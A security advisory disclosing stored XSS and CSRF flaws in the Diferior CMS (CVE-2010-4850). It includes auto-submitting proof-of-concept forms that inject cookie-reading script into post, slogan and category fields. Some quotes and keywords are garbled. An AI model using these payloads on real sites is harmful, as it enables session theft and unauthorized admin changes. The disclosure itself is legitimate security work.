High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Diferior which could be exploited to perform script insertion and cross-site request forgery attacks.
Script insertion vulnerability in Diferior: CVE-2010-4850
Input passed to the βpost_contentβ parameter in views/post.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data. Successful exploitation requires that victim is able to edit posts.
Exploitation example:
<form action=βhttp://host/post/edit/2/p1.htmlβ method=βpostβ enctype=βmultipart/form-dataβ name=βmainβ>
<input type=βhiddenβ name=βcategoryβ value=βsample-category-1β>
<input type=βhiddenβ name=βheaderβ value=βSample postβ>
<input type=βhiddenβ name=βsubheaderβ value=βSample subheaderβ>
<input type=βhiddenβ name=βpost_contentβ value=βhtml<script>alert(document.cookie)</script>β>
<input type=βhiddenβ name=βscheduleβ value=βnowβ>
<input type=βhiddenβ name=βschedulerβ value=β10/11/23β>
<input type=βhiddenβ name=βDate_Yearβ value=β2010β>
<input type=βhiddenβ name=βDate_Monthβ value=β11β>
<input type=βhiddenβ name=βDate_Dayβ value=β22β>
<input type=βhiddenβ name=βTime_Hourβ value=β20β>
<input type=βhiddenβ name=βTime_Minuteβ value=β47β>
<input type=βhiddenβ name=βTime_Secondβ value=β23β>
<input type=βhiddenβ name=βusehtmlβ value=βhtmlβ>
</form>
<script>
document.main.submit();
</script>
Cross-site request forgery (CSRF) vulnerabilities in Diferior: CVE-2010-4850
2.1 The vulnerability exists due to insufficient validation of the request origin in views/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings (e.g. website slogan, title, timezone etc.). Due to insufficient sanitation of input data in the βsloganβ parameter it is also possible to store and execute arbitrary HTML and script code in users browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator. Exploitation example: <form action="http://host/admin/site/2.html" method="post" name="main"> <input type="hidden" name="title" value="Site Title"> <input type="hidden" name="slogan" value='Powered by Diferior"><script>alert(document.cookie)</script>'> <input type="hidden" name="timezone" value="GMT"> <input type="hidden" name="cron" value="php"> </form> <script> document.main.submit(); </script> 2.2 The vulnerability exists due to insufficient validation of the request origin in views/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create categories. Due to insufficient sanitation of input data in the "subcatname" and "description" parameters it is also possible to store and execute arbitrary HTML and script code in user
s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action=βhttp://host/admin/forum/create_sub.htmlβ method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βcatβ value=β1β>
<input type=βhiddenβ name=βsubcatnameβ value=βsubname"><script>alert(document.cookie)</script>β>
<input type=βhiddenβ name=βdescriptionβ value=βdescription"><script>alert(document.cookie)</script>β>
</form>
<scr ipt>
document.main.subm it();
</script>